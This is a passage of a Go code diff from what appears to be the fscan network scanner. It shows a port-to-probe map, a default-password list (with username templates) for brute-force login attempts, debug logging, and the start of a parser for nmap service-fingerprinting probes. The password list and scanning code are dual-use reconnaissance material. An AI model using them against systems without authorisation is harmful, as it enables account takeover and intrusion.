||||||
|
9105: {"hp-pjl"},
|
||||||
|
9106: {"hp-pjl"},
|
||||||
|
9107: {"hp-pjl"},
|
||||||
|
9300: {"JavaRMI"},
|
||||||
|
9390: {"metasploit-xmlrpc"},
|
||||||
|
9443: {"GetRequest", "SSLSessionReq"},
|
||||||
|
9481: {"Socks5"},
|
||||||
|
9500: {"JavaRMI"},
|
||||||
|
9711: {"JavaRMI"},
|
||||||
|
9761: {"insteonPLM"},
|
||||||
|
9801: {"GenericLines"},
|
||||||
|
9809: {"JavaRMI"},
|
||||||
|
9810: {"JavaRMI"},
|
||||||
|
9811: {"JavaRMI"},
|
||||||
|
9812: {"JavaRMI"},
|
||||||
|
9813: {"JavaRMI"},
|
||||||
|
9814: {"JavaRMI"},
|
||||||
|
9815: {"JavaRMI"},
|
||||||
|
9875: {"JavaRMI"},
|
||||||
|
9910: {"JavaRMI"},
|
||||||
|
9930: {"ibm-db2-das"},
|
||||||
|
9931: {"ibm-db2-das"},
|
||||||
|
9932: {"ibm-db2-das"},
|
||||||
|
9933: {"ibm-db2-das"},
|
||||||
|
9934: {"ibm-db2-das"},
|
||||||
|
9991: {"JavaRMI"},
|
||||||
|
9998: {"teamspeak-tcpquery-ver"},
|
||||||
|
9999: {"GetRequest", "HTTPOptions", "FourOhFourRequest", "JavaRMI"},
|
||||||
|
10000: {"GetRequest", "HTTPOptions", "RTSPRequest"},
|
||||||
|
10001: {"GetRequest", "JavaRMI", "ZendJavaBridge"},
|
||||||
|
10002: {"ZendJavaBridge", "SharpTV"},
|
||||||
|
10003: {"ZendJavaBridge"},
|
||||||
|
10005: {"GetRequest"},
|
||||||
|
10031: {"HTTPOptions"},
|
||||||
|
10098: {"JavaRMI"},
|
||||||
|
10099: {"JavaRMI"},
|
||||||
|
10162: {"JavaRMI"},
|
||||||
|
10333: {"teamtalk-login"},
|
||||||
|
10443: {"GetRequest", "SSLSessionReq"},
|
||||||
|
10990: {"JavaRMI"},
|
||||||
|
11001: {"JavaRMI"},
|
||||||
|
11099: {"JavaRMI"},
|
||||||
|
11210: {"couchbase-data"},
|
||||||
|
11211: {"Memcache"},
|
||||||
|
11333: {"JavaRMI"},
|
||||||
|
11371: {"GenericLines", "GetRequest"},
|
||||||
|
11711: {"LDAPSearchReq"},
|
||||||
|
11712: {"LDAPSearchReq"},
|
||||||
|
11965: {"GenericLines"},
|
||||||
|
12000: {"JavaRMI"},
|
||||||
|
12345: {"Help", "OfficeScan"},
|
||||||
|
13013: {"GetRequest", "JavaRMI"},
|
||||||
|
13666: {"GetRequest"},
|
||||||
|
13720: {"GenericLines"},
|
||||||
|
13722: {"GetRequest"},
|
||||||
|
13783: {"DNSVersionBindReqTCP"},
|
||||||
|
14000: {"JavaRMI"},
|
||||||
|
14238: {"oracle-tns"},
|
||||||
|
14443: {"GetRequest", "SSLSessionReq"},
|
||||||
|
14534: {"GetRequest"},
|
||||||
|
14690: {"Help"},
|
||||||
|
15000: {"GenericLines", "GetRequest", "JavaRMI"},
|
||||||
|
15001: {"GenericLines", "JavaRMI"},
|
||||||
|
15002: {"GenericLines", "SSLSessionReq"},
|
||||||
|
15200: {"JavaRMI"},
|
||||||
|
16000: {"JavaRMI"},
|
||||||
|
17007: {"RPCCheck"},
|
||||||
|
17200: {"JavaRMI"},
|
||||||
|
17988: {"GetRequest"},
|
||||||
|
18086: {"GenericLines"},
|
||||||
|
18182: {"SMBProgNeg"},
|
||||||
|
18264: {"GetRequest"},
|
||||||
|
18980: {"JavaRMI"},
|
||||||
|
19150: {"GenericLines", "gkrellm"},
|
||||||
|
19350: {"LPDString"},
|
||||||
|
19700: {"kumo-server"},
|
||||||
|
19800: {"kumo-server"},
|
||||||
|
20000: {"JavaRMI", "oracle-tns"},
|
||||||
|
20547: {"proconos"},
|
||||||
|
22001: {"NotesRPC"},
|
||||||
|
22490: {"Help"},
|
||||||
|
23791: {"JavaRMI"},
|
||||||
|
25565: {"minecraft-ping"},
|
||||||
|
26214: {"GenericLines"},
|
||||||
|
26256: {"JavaRMI"},
|
||||||
|
26470: {"GenericLines"},
|
||||||
|
27000: {"SMBProgNeg"},
|
||||||
|
27001: {"SMBProgNeg"},
|
||||||
|
27002: {"SMBProgNeg"},
|
||||||
|
27003: {"SMBProgNeg"},
|
||||||
|
27004: {"SMBProgNeg"},
|
||||||
|
27005: {"SMBProgNeg"},
|
||||||
|
27006: {"SMBProgNeg"},
|
||||||
|
27007: {"SMBProgNeg"},
|
||||||
|
27008: {"SMBProgNeg"},
|
||||||
|
27009: {"SMBProgNeg"},
|
||||||
|
27010: {"SMBProgNeg"},
|
||||||
|
27017: {"mongodb"},
|
||||||
|
27036: {"TLS-PSK"},
|
||||||
|
30444: {"GenericLines"},
|
||||||
|
31099: {"JavaRMI"},
|
||||||
|
31337: {"GetRequest", "SIPOptions"},
|
||||||
|
31416: {"GenericLines"},
|
||||||
|
32211: {"LPDString"},
|
||||||
|
32750: {"RPCCheck"},
|
||||||
|
32751: {"RPCCheck"},
|
||||||
|
32752: {"RPCCheck"},
|
||||||
|
32753: {"RPCCheck"},
|
||||||
|
32754: {"RPCCheck"},
|
||||||
|
32755: {"RPCCheck"},
|
||||||
|
32756: {"RPCCheck"},
|
||||||
|
32757: {"RPCCheck"},
|
||||||
|
32758: {"RPCCheck"},
|
||||||
|
32759: {"RPCCheck"},
|
||||||
|
32760: {"RPCCheck"},
|
||||||
|
32761: {"RPCCheck"},
|
||||||
|
32762: {"RPCCheck"},
|
||||||
|
32763: {"RPCCheck"},
|
||||||
|
32764: {"RPCCheck"},
|
||||||
|
32765: {"RPCCheck"},
|
||||||
|
32766: {"RPCCheck"},
|
||||||
|
32767: {"RPCCheck"},
|
||||||
|
32768: {"RPCCheck"},
|
||||||
|
32769: {"RPCCheck"},
|
||||||
|
32770: {"RPCCheck"},
|
||||||
|
32771: {"RPCCheck"},
|
||||||
|
32772: {"RPCCheck"},
|
||||||
|
32773: {"RPCCheck"},
|
||||||
|
32774: {"RPCCheck"},
|
||||||
|
32775: {"RPCCheck"},
|
||||||
|
32776: {"RPCCheck"},
|
||||||
|
32777: {"RPCCheck"},
|
||||||
|
32778: {"RPCCheck"},
|
||||||
|
32779: {"RPCCheck"},
|
||||||
|
32780: {"RPCCheck"},
|
||||||
|
32781: {"RPCCheck"},
|
||||||
|
32782: {"RPCCheck"},
|
||||||
|
32783: {"RPCCheck"},
|
||||||
|
32784: {"RPCCheck"},
|
||||||
|
32785: {"RPCCheck"},
|
||||||
|
32786: {"RPCCheck"},
|
||||||
|
32787: {"RPCCheck"},
|
||||||
|
32788: {"RPCCheck"},
|
||||||
|
32789: {"RPCCheck"},
|
||||||
|
32790: {"RPCCheck"},
|
||||||
|
32791: {"RPCCheck"},
|
||||||
|
32792: {"RPCCheck"},
|
||||||
|
32793: {"RPCCheck"},
|
||||||
|
32794: {"RPCCheck"},
|
||||||
|
32795: {"RPCCheck"},
|
||||||
|
32796: {"RPCCheck"},
|
||||||
|
32797: {"RPCCheck"},
|
||||||
|
32798: {"RPCCheck"},
|
||||||
|
32799: {"RPCCheck"},
|
||||||
|
32800: {"RPCCheck"},
|
||||||
|
32801: {"RPCCheck"},
|
||||||
|
32802: {"RPCCheck"},
|
||||||
|
32803: {"RPCCheck"},
|
||||||
|
32804: {"RPCCheck"},
|
||||||
|
32805: {"RPCCheck"},
|
||||||
|
32806: {"RPCCheck"},
|
||||||
|
32807: {"RPCCheck"},
|
||||||
|
32808: {"RPCCheck"},
|
||||||
|
32809: {"RPCCheck"},
|
||||||
|
32810: {"RPCCheck"},
|
||||||
|
32913: {"JavaRMI"},
|
||||||
|
33000: {"JavaRMI"},
|
||||||
|
33015: {"tarantool"},
|
||||||
|
34012: {"GenericLines"},
|
||||||
|
37435: {"HTTPOptions"},
|
||||||
|
37718: {"JavaRMI"},
|
||||||
|
38978: {"RPCCheck"},
|
||||||
|
40193: {"GetRequest"},
|
||||||
|
41523: {"DNSStatusRequestTCP"},
|
||||||
|
44443: {"GetRequest", "SSLSessionReq"},
|
||||||
|
45230: {"JavaRMI"},
|
||||||
|
47001: {"JavaRMI"},
|
||||||
|
47002: {"JavaRMI"},
|
||||||
|
49152: {"FourOhFourRequest"},
|
||||||
|
49153: {"mongodb"},
|
||||||
|
49400: {"HTTPOptions"},
|
||||||
|
50000: {"GetRequest", "ibm-db2-das", "ibm-db2", "drda"},
|
||||||
|
50001: {"ibm-db2"},
|
||||||
|
50002: {"ibm-db2"},
|
||||||
|
50003: {"ibm-db2"},
|
||||||
|
50004: {"ibm-db2"},
|
||||||
|
50005: {"ibm-db2"},
|
||||||
|
50006: {"ibm-db2"},
|
||||||
|
50007: {"ibm-db2"},
|
||||||
|
50008: {"ibm-db2"},
|
||||||
|
50009: {"ibm-db2"},
|
||||||
|
50010: {"ibm-db2"},
|
||||||
|
50011: {"ibm-db2"},
|
||||||
|
50012: {"ibm-db2"},
|
||||||
|
50013: {"ibm-db2"},
|
||||||
|
50014: {"ibm-db2"},
|
||||||
|
50015: {"ibm-db2"},
|
||||||
|
50016: {"ibm-db2"},
|
||||||
|
50017: {"ibm-db2"},
|
||||||
|
50018: {"ibm-db2"},
|
||||||
|
50019: {"ibm-db2"},
|
||||||
|
50020: {"ibm-db2"},
|
||||||
|
50021: {"ibm-db2"},
|
||||||
|
50022: {"ibm-db2"},
|
||||||
|
50023: {"ibm-db2"},
|
||||||
|
50024: {"ibm-db2"},
|
||||||
|
50025: {"ibm-db2"},
|
||||||
|
50050: {"JavaRMI"},
|
||||||
|
50500: {"JavaRMI"},
|
||||||
|
50501: {"JavaRMI"},
|
||||||
|
50502: {"JavaRMI"},
|
||||||
|
50503: {"JavaRMI"},
|
||||||
|
50504: {"JavaRMI"},
|
||||||
|
50505: {"metasploit-msgrpc"},
|
||||||
|
51234: {"teamspeak-tcpquery-ver"},
|
||||||
|
55552: {"metasploit-msgrpc"},
|
||||||
|
55553: {"metasploit-xmlrpc", "metasploit-xmlrpc"},
|
||||||
|
55555: {"GetRequest"},
|
||||||
|
56667: {"GenericLines"},
|
||||||
|
59100: {"kumo-server"},
|
||||||
|
60000: {"ibm-db2", "drda"},
|
||||||
|
60001: {"ibm-db2"},
|
||||||
|
60002: {"ibm-db2"},
|
||||||
|
60003: {"ibm-db2"},
|
||||||
|
60004: {"ibm-db2"},
|
||||||
|
60005: {"ibm-db2"},
|
||||||
|
60006: {"ibm-db2"},
|
||||||
|
60007: {"ibm-db2"},
|
||||||
|
60008: {"ibm-db2"},
|
||||||
|
60009: {"ibm-db2"},
|
||||||
|
60010: {"ibm-db2"},
|
||||||
|
60011: {"ibm-db2"},
|
||||||
|
60012: {"ibm-db2"},
|
||||||
|
60013: {"ibm-db2"},
|
||||||
|
60014: {"ibm-db2"},
|
||||||
|
60015: {"ibm-db2"},
|
||||||
|
60016: {"ibm-db2"},
|
||||||
|
60017: {"ibm-db2"},
|
||||||
|
60018: {"ibm-db2"},
|
||||||
|
60019: {"ibm-db2"},
|
||||||
|
60020: {"ibm-db2"},
|
||||||
|
60021: {"ibm-db2"},
|
||||||
|
60022: {"ibm-db2"},
|
||||||
|
60023: {"ibm-db2"},
|
||||||
|
60024: {"ibm-db2"},
|
||||||
|
60025: {"ibm-db2"},
|
||||||
|
60443: {"GetRequest", "SSLSessionReq"},
|
||||||
|
61613: {"HELP4STOMP"},
|
||||||
|
}
|
||||||
|
|
||||||
var Passwords = []string{"123456", "admin", "admin123", "root", "", "pass123", "pass@123", "password", "Password", "P@ssword123", "123123", "654321", "111111", "123", "1", "admin@123", "Admin@123", "admin123!@#", "{user}", "{user}1", "{user}111", "{user}123", "{user}@123", "{user}_123", "{user}#123", "{user}@111", "{user}@2019", "{user}@123#4", "P@ssw0rd!", "P@ssw0rd", "Passw0rd", "qwe123", "12345678", "test", "test123", "123qwe", "123qwe!@#", "123456789", "123321", "666666", "a123456.", "123456~a", "123456!a", "000000", "1234567890", "8888888", "!QAZ2wsx", "1qaz2wsx", "abc123", "abc123456", "1qaz@WSX", "a11111", "a12345", "Aa1234", "Aa1234.", "Aa12345", "a123456", "a123123", "Aa123123", "Aa123456", "Aa12345.", "sysadmin", "system", "1qaz!QAZ", "2wsx@WSX", "qwe123!@#", "Aa123456!", "A123456s!", "sa123456", "1q2w3e", "Charge123", "Aa123456789", "elastic123"}
|
var Passwords = []string{"123456", "admin", "admin123", "root", "", "pass123", "pass@123", "password", "Password", "P@ssword123", "123123", "654321", "111111", "123", "1", "admin@123", "Admin@123", "admin123!@#", "{user}", "{user}1", "{user}111", "{user}123", "{user}@123", "{user}_123", "{user}#123", "{user}@111", "{user}@2019", "{user}@123#4", "P@ssw0rd!", "P@ssw0rd", "Passw0rd", "qwe123", "12345678", "test", "test123", "123qwe", "123qwe!@#", "123456789", "123321", "666666", "a123456.", "123456~a", "123456!a", "000000", "1234567890", "8888888", "!QAZ2wsx", "1qaz2wsx", "abc123", "abc123456", "1qaz@WSX", "a11111", "a12345", "Aa1234", "Aa1234.", "Aa12345", "a123456", "a123123", "Aa123123", "Aa123456", "Aa12345.", "sysadmin", "system", "1qaz!QAZ", "2wsx@WSX", "qwe123!@#", "Aa123456!", "A123456s!", "sa123456", "1q2w3e", "Charge123", "Aa123456789", "elastic123"}
|
||||||
|
|
||||||
var Outputfile = "result.txt"
|
var Outputfile = "result.txt"
|
||||||
|
@ -195,6 +195,27 @@ func LogSuccess(result string) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func LogDebug(msg string) {
|
||||||
|
if ProgressBar != nil {
|
||||||
|
ProgressBar.Clear()
|
||||||
|
}
|
||||||
|
|
||||||
|
entry := &LogEntry{
|
||||||
|
Level: LogLevelDebug,
|
||||||
|
Time: time.Now(),
|
||||||
|
Content: msg,
|
||||||
|
}
|
||||||
|
|
||||||
|
printLog(entry)
|
||||||
|
if fileWriter != nil {
|
||||||
|
fileWriter.write(entry)
|
||||||
|
}
|
||||||
|
|
||||||
|
if ProgressBar != nil {
|
||||||
|
ProgressBar.RenderBlank()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
func newBufferedFileWriter() *bufferedFileWriter {
|
func newBufferedFileWriter() *bufferedFileWriter {
|
||||||
file, err := os.OpenFile(Outputfile, os.O_WRONLY|os.O_CREATE|os.O_APPEND, 0666)
|
file, err := os.OpenFile(Outputfile, os.O_WRONLY|os.O_CREATE|os.O_APPEND, 0666)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
|
877
Core/PortFinger.go
Normal file
877
Core/PortFinger.go
Normal file
@ -0,0 +1,877 @@
|
|||||||
|
package Core
|
||||||
|
|
||||||
|
import (
|
||||||
|
_ "embed"
|
||||||
|
"encoding/hex"
|
||||||
|
"fmt"
|
||||||
|
"github.com/shadow1ng/fscan/Common"
|
||||||
|
"regexp"
|
||||||
|
"strconv"
|
||||||
|
"strings"
|
||||||
|
)
|
||||||
|
|
||||||
|
//go:embed nmap-service-probes.txt
|
||||||
|
var ProbeString string
|
||||||
|
|
||||||
|
var v VScan // 改为VScan类型而不是指针
|
||||||
|
|
||||||
|
type VScan struct {
|
||||||
|
Exclude string
|
||||||
|
AllProbes []Probe
|
||||||
|
UdpProbes []Probe
|
||||||
|
Probes []Probe
|
||||||
|
ProbesMapKName map[string]Probe
|
||||||
|
}
|
||||||
|
|
||||||
|
type Probe struct {
|
||||||
|
Name string // 探测器名称
|
||||||
|
Data string // 探测数据
|
||||||
|
Protocol string // 协议
|
||||||
|
Ports string // 端口范围
|
||||||
|
SSLPorts string // SSL端口范围
|
||||||
|
|
||||||
|
TotalWaitMS int // 总等待时间
|
||||||
|
TCPWrappedMS int // TCP包装等待时间
|
||||||
|
Rarity int // 稀有度
|
||||||
|
Fallback string // 回退探测器名称
|
||||||
|
|
||||||
|
Matchs *[]Match // 匹配规则列表
|
||||||
|
}
|
||||||
|
|
||||||
|
type Match struct {
|
||||||
|
IsSoft bool // 是否为软匹配
|
||||||
|
Service string // 服务名称
|
||||||
|
Pattern string // 匹配模式
|
||||||
|
VersionInfo string // 版本信息格式
|
||||||
|
FoundItems []string // 找到的项目
|
||||||
|
PatternCompiled *regexp.Regexp // 编译后的正则表达式
|
||||||
|
}
|
||||||
|
|
||||||
|
type Directive struct {
|
||||||
|
DirectiveName string
|
||||||
|
Flag string
|
||||||
|
Delimiter string
|
||||||
|
DirectiveStr string
|
||||||
|
}
|
||||||
|
|
||||||
|
type Extras struct {
|
||||||
|
VendorProduct string
|
||||||
|
Version string
|
||||||
|
Info string
|
||||||
|
Hostname string
|
||||||
|
OperatingSystem string
|
||||||
|
DeviceType string
|
||||||
|
CPE string
|
||||||
|
}
|
||||||
|
|
||||||
|
func init() {
|
||||||
|
Common.LogDebug("开始初始化全局变量")
|
||||||
|
|
||||||
|
v = VScan{} // 直接初始化VScan结构体
|
||||||
|
v.Init()
|
||||||
|
|
||||||
|
// 获取并检查 NULL 探测器
|
||||||
|
if nullProbe, ok := v.ProbesMapKName["NULL"]; ok {
|
||||||
|
Common.LogDebug(fmt.Sprintf("成功获取NULL探测器,Data长度: %d", len(nullProbe.Data)))
|
||||||
|
null = &nullProbe
|
||||||
|
} else {
|
||||||
|
Common.LogDebug("警告: 未找到NULL探测器")
|
||||||
|
}
|
||||||
|
|
||||||
|
// 获取并检查 GenericLines 探测器
|
||||||
|
if commonProbe, ok := v.ProbesMapKName["GenericLines"]; ok {
|
||||||
|
Common.LogDebug(fmt.Sprintf("成功获取GenericLines探测器,Data长度: %d", len(commonProbe.Data)))
|
||||||
|
common = &commonProbe
|
||||||
|
} else {
|
||||||
|
Common.LogDebug("警告: 未找到GenericLines探测器")
|
||||||
|
}
|
||||||
|
|
||||||
|
Common.LogDebug("全局变量初始化完成")
|
||||||
|
}
|
||||||
|
|
||||||
|
// 解析指令语法,返回指令结构
|
||||||
|
func (p *Probe) getDirectiveSyntax(data string) (directive Directive) {
|
||||||
|
Common.LogDebug("开始解析指令语法,输入数据: " + data)
|
||||||
|
|
||||||
|
directive = Directive{}
|
||||||
|
// 查找第一个空格的位置
|
||||||
|
blankIndex := strings.Index(data, " ")
|
||||||
|
if blankIndex == -1 {
|
||||||
|
Common.LogDebug("未找到空格分隔符")
|
||||||
|
return directive
|
||||||
|
}
|
||||||
|
|
||||||
|
// 解析各个字段
|
||||||
|
directiveName := data[:blankIndex]
|
||||||
|
Flag := data[blankIndex+1 : blankIndex+2]
|
||||||
|
delimiter := data[blankIndex+2 : blankIndex+3]
|
||||||
|
directiveStr := data[blankIndex+3:]
|
||||||
|
|
||||||
|
directive.DirectiveName = directiveName
|
||||||
|
directive.Flag = Flag
|
||||||
|
directive.Delimiter = delimiter
|
||||||
|
directive.DirectiveStr = directiveStr
|
||||||
|
|
||||||
|
Common.LogDebug(fmt.Sprintf("指令解析结果: 名称=%s, 标志=%s, 分隔符=%s, 内容=%s",
|
||||||
|
directiveName, Flag, delimiter, directiveStr))
|
||||||
|
|
||||||
|
return directive
|
||||||
|
}
|
||||||
|
|
||||||
|
// 解析探测器信息
|
||||||
|
func (p *Probe) parseProbeInfo(probeStr string) {
|
||||||
|
Common.LogDebug("开始解析探测器信息,输入字符串: " + probeStr)
|
||||||
|
|
||||||
|
// 提取协议和其他信息
|
||||||
|
proto := probeStr[:4]
|
||||||
|
other := probeStr[4:]
|
||||||
|
|
||||||
|
// 验证协议类型
|
||||||
|
if !(proto == "TCP " || proto == "UDP ") {
|
||||||
|
errMsg := "探测器协议必须是 TCP 或 UDP"
|
||||||
|
Common.LogDebug("错误: " + errMsg)
|
||||||
|
panic(errMsg)
|
||||||
|
}
|
||||||
|
|
||||||
|
// 验证其他信息不为空
|
||||||
|
if len(other) == 0 {
|
||||||
|
errMsg := "nmap-service-probes - 探测器名称无效"
|
||||||
|
Common.LogDebug("错误: " + errMsg)
|
||||||
|
panic(errMsg)
|
||||||
|
}
|
||||||
|
|
||||||
|
// 解析指令
|
||||||
|
directive := p.getDirectiveSyntax(other)
|
||||||
|
|
||||||
|
// 设置探测器属性
|
||||||
|
p.Name = directive.DirectiveName
|
||||||
|
p.Data = strings.Split(directive.DirectiveStr, directive.Delimiter)[0]
|
||||||
|
p.Protocol = strings.ToLower(strings.TrimSpace(proto))
|
||||||
|
|
||||||
|
Common.LogDebug(fmt.Sprintf("探测器解析完成: 名称=%s, 数据=%s, 协议=%s",
|
||||||
|
p.Name, p.Data, p.Protocol))
|
||||||
|
}
|
||||||
|
|
||||||
|
// 从字符串解析探测器信息
|
||||||
|
func (p *Probe) fromString(data string) error {
|
||||||
|
Common.LogDebug("开始解析探测器字符串数据")
|
||||||
|
var err error
|
||||||
|
|
||||||
|
// 预处理数据
|
||||||
|
data = strings.TrimSpace(data)
|
||||||
|
lines := strings.Split(data, "\n")
|
||||||
|
if len(lines) == 0 {
|
||||||
|
return fmt.Errorf("输入数据为空")
|
||||||
|
}
|
||||||
|
|
||||||
|
probeStr := lines[0]
|
||||||
|
p.parseProbeInfo(probeStr)
|
||||||
|
|
||||||
|
// 解析匹配规则和其他配置
|
||||||
|
var matchs []Match
|
||||||
|
for _, line := range lines {
|
||||||
|
Common.LogDebug("处理行: " + line)
|
||||||
|
switch {
|
||||||
|
case strings.HasPrefix(line, "match "):
|
||||||
|
match, err := p.getMatch(line)
|
||||||
|
if err != nil {
|
||||||
|
Common.LogDebug("解析match失败: " + err.Error())
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
matchs = append(matchs, match)
|
||||||
|
|
||||||
|
case strings.HasPrefix(line, "softmatch "):
|
||||||
|
softMatch, err := p.getSoftMatch(line)
|
||||||
|
if err != nil {
|
||||||
|
Common.LogDebug("解析softmatch失败: " + err.Error())
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
matchs = append(matchs, softMatch)
|
||||||
|
|
||||||
|
case strings.HasPrefix(line, "ports "):
|
||||||
|
p.parsePorts(line)
|
||||||
|
|
||||||
|
case strings.HasPrefix(line, "sslports "):
|
||||||
|
p.parseSSLPorts(line)
|
||||||
|
|
||||||
|
case strings.HasPrefix(line, "totalwaitms "):
|
||||||
|
p.parseTotalWaitMS(line)
|
||||||
|
|
||||||
|
case strings.HasPrefix(line, "tcpwrappedms "):
|
||||||
|
p.parseTCPWrappedMS(line)
|
||||||
|
|
||||||
|
case strings.HasPrefix(line, "rarity "):
|
||||||
|
p.parseRarity(line)
|
||||||
|
|
||||||
|
case strings.HasPrefix(line, "fallback "):
|
||||||
|
p.parseFallback(line)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
p.Matchs = &matchs
|
||||||
|
Common.LogDebug(fmt.Sprintf("解析完成,共有 %d 个匹配规则", len(matchs)))
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
|
||||||
|
// 解析端口配置
|
||||||
|
func (p *Probe) parsePorts(data string) {
|
||||||
|
p.Ports = data[len("ports")+1:]
|
||||||
|
Common.LogDebug("解析端口: " + p.Ports)
|
||||||
|
}
|
||||||
|
|
||||||
|
// 解析SSL端口配置
|
||||||
|
func (p *Probe) parseSSLPorts(data string) {
|
||||||
|
p.SSLPorts = data[len("sslports")+1:]
|
||||||
|
Common.LogDebug("解析SSL端口: " + p.SSLPorts)
|
||||||
|
}
|
||||||
|
|
||||||
|
// 解析总等待时间
|
||||||
|
func (p *Probe) parseTotalWaitMS(data string) {
|
||||||
|
waitMS, err := strconv.Atoi(strings.TrimSpace(data[len("totalwaitms")+1:]))
|
||||||
|
if err != nil {
|
||||||
|
Common.LogDebug("解析总等待时间失败: " + err.Error())
|
||||||
|
return
|
||||||
|
}
|
||||||
|
p.TotalWaitMS = waitMS
|
||||||
|
Common.LogDebug(fmt.Sprintf("总等待时间: %d ms", waitMS))
|
||||||
|
}
|
||||||
|
|
||||||
|
// 解析TCP包装等待时间
|
||||||
|
func (p *Probe) parseTCPWrappedMS(data string) {
|
||||||
|
wrappedMS, err := strconv.Atoi(strings.TrimSpace(data[len("tcpwrappedms")+1:]))
|
||||||
|
if err != nil {
|
||||||
|
Common.LogDebug("解析TCP包装等待时间失败: " + err.Error())
|
||||||
|
return
|
||||||
|
}
|
||||||
|
p.TCPWrappedMS = wrappedMS
|
||||||
|
Common.LogDebug(fmt.Sprintf("TCP包装等待时间: %d ms", wrappedMS))
|
||||||
|
}
|
||||||
|
|
||||||
|
// 解析稀有度
|
||||||
|
func (p *Probe) parseRarity(data string) {
|
||||||
|
rarity, err := strconv.Atoi(strings.TrimSpace(data[len("rarity")+1:]))
|
||||||
|
if err != nil {
|
||||||
|
Common.LogDebug("解析稀有度失败: " + err.Error())
|
||||||
|
return
|
||||||
|
}
|
||||||
|
p.Rarity = rarity
|
||||||
|
Common.LogDebug(fmt.Sprintf("稀有度: %d", rarity))
|
||||||
|
}
|
||||||
|
|
||||||
|
// 解析回退配置
|
||||||
|
func (p *Probe) parseFallback(data string) {
|
||||||
|
p.Fallback = data[len("fallback")+1:]
|
||||||
|
Common.LogDebug("回退配置: " + p.Fallback)
|
||||||
|
}
|
||||||
|
|
||||||
|
// 判断是否为十六进制编码
|
||||||
|
func isHexCode(b []byte) bool {
|
||||||
|
matchRe := regexp.MustCompile(`\\x[0-9a-fA-F]{2}`)
|
||||||
|
return matchRe.Match(b)
|
||||||
|
}
|
||||||
|
|
||||||
|
// 判断是否为八进制编码
|
||||||
|
func isOctalCode(b []byte) bool {
|
||||||
|
matchRe := regexp.MustCompile(`\\[0-7]{1,3}`)
|
||||||
|
return matchRe.Match(b)
|
||||||
|
}
|
||||||
|
|
||||||
|
// 判断是否为结构化转义字符
|
||||||
|
func isStructCode(b []byte) bool {
|
||||||
|
matchRe := regexp.MustCompile(`\\[aftnrv]`)
|
||||||
|
return matchRe.Match(b)
|
||||||
|
}
|
||||||
|
|
||||||
|
// 判断是否为正则表达式特殊字符
|
||||||
|
func isReChar(n int64) bool {
|
||||||
|
reChars := `.*?+{}()^$|\`
|
||||||
|
for _, char := range reChars {
|
||||||
|
if n == int64(char) {
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
|
||||||
|
// 判断是否为其他转义序列
|
||||||
|
func isOtherEscapeCode(b []byte) bool {
|
||||||
|
matchRe := regexp.MustCompile(`\\[^\\]`)
|
||||||
|
return matchRe.Match(b)
|
||||||
|
}
|
||||||
|
|
||||||
|
// 从内容解析探测器规则
|
||||||
|
func (v *VScan) parseProbesFromContent(content string) {
|
||||||
|
Common.LogDebug("开始解析探测器规则文件内容")
|
||||||
|
var probes []Probe
|
||||||
|
var lines []string
|
||||||
|
|
||||||
|
// 过滤注释和空行
|
||||||
|
linesTemp := strings.Split(content, "\n")
|
||||||
|
for _, lineTemp := range linesTemp {
|
||||||
|
lineTemp = strings.TrimSpace(lineTemp)
|
||||||
|
if lineTemp == "" || strings.HasPrefix(lineTemp, "#") {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
lines = append(lines, lineTemp)
|
||||||
|
}
|
||||||
|
|
||||||
|
// 验证文件内容
|
||||||
|
if len(lines) == 0 {
|
||||||
|
errMsg := "读取nmap-service-probes文件失败: 内容为空"
|
||||||
|
Common.LogDebug("错误: " + errMsg)
|
||||||
|
panic(errMsg)
|
||||||
|
}
|
||||||
|
|
||||||
|
// 检查Exclude指令
|
||||||
|
excludeCount := 0
|
||||||
|
for _, line := range lines {
|
||||||
|
if strings.HasPrefix(line, "Exclude ") {
|
||||||
|
excludeCount++
|
||||||
|
}
|
||||||
|
if excludeCount > 1 {
|
||||||
|
errMsg := "nmap-service-probes文件中只允许有一个Exclude指令"
|
||||||
|
Common.LogDebug("错误: " + errMsg)
|
||||||
|
panic(errMsg)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// 验证第一行格式
|
||||||
|
firstLine := lines[0]
|
||||||
|
if !(strings.HasPrefix(firstLine, "Exclude ") || strings.HasPrefix(firstLine, "Probe ")) {
|
||||||
|
errMsg := "解析错误: 首行必须以\"Probe \"或\"Exclude \"开头"
|
||||||
|
Common.LogDebug("错误: " + errMsg)
|
||||||
|
panic(errMsg)
|
||||||
|
}
|
||||||
|
|
||||||
|
// 处理Exclude指令
|
||||||
|
if excludeCount == 1 {
|
||||||
|
v.Exclude = firstLine[len("Exclude")+1:]
|
||||||
|
lines = lines[1:]
|
||||||
|
Common.LogDebug("解析到Exclude规则: " + v.Exclude)
|
||||||
|
}
|
||||||
|
|
||||||
|
// 合并内容并分割探测器
|
||||||
|
content = "\n" + strings.Join(lines, "\n")
|
||||||
|
probeParts := strings.Split(content, "\nProbe")[1:]
|
||||||
|
|
||||||
|
// 解析每个探测器
|
||||||
|
for _, probePart := range probeParts {
|
||||||
|
probe := Probe{}
|
||||||
|
if err := probe.fromString(probePart); err != nil {
|
||||||
|
Common.LogDebug(fmt.Sprintf("解析探测器失败: %v", err))
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
probes = append(probes, probe)
|
||||||
|
}
|
||||||
|
|
||||||
|
v.AllProbes = probes
|
||||||
|
Common.LogDebug(fmt.Sprintf("成功解析 %d 个探测器规则", len(probes)))
|
||||||
|
}
|
||||||
|
|
||||||
|
// 将探测器转换为名称映射
|
||||||
|
func (v *VScan) parseProbesToMapKName() {
|
||||||
|
Common.LogDebug("开始构建探测器名称映射")
|
||||||
|
v.ProbesMapKName = map[string]Probe{}
|
||||||
|
for _, probe := range v.AllProbes {
|
||||||
|
v.ProbesMapKName[probe.Name] = probe
|
||||||
|
Common.LogDebug("添加探测器映射: " + probe.Name)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// 设置使用的探测器
|
||||||
|
func (v *VScan) SetusedProbes() {
|
||||||
|
Common.LogDebug("开始设置要使用的探测器")
|
||||||
|
|
||||||
|
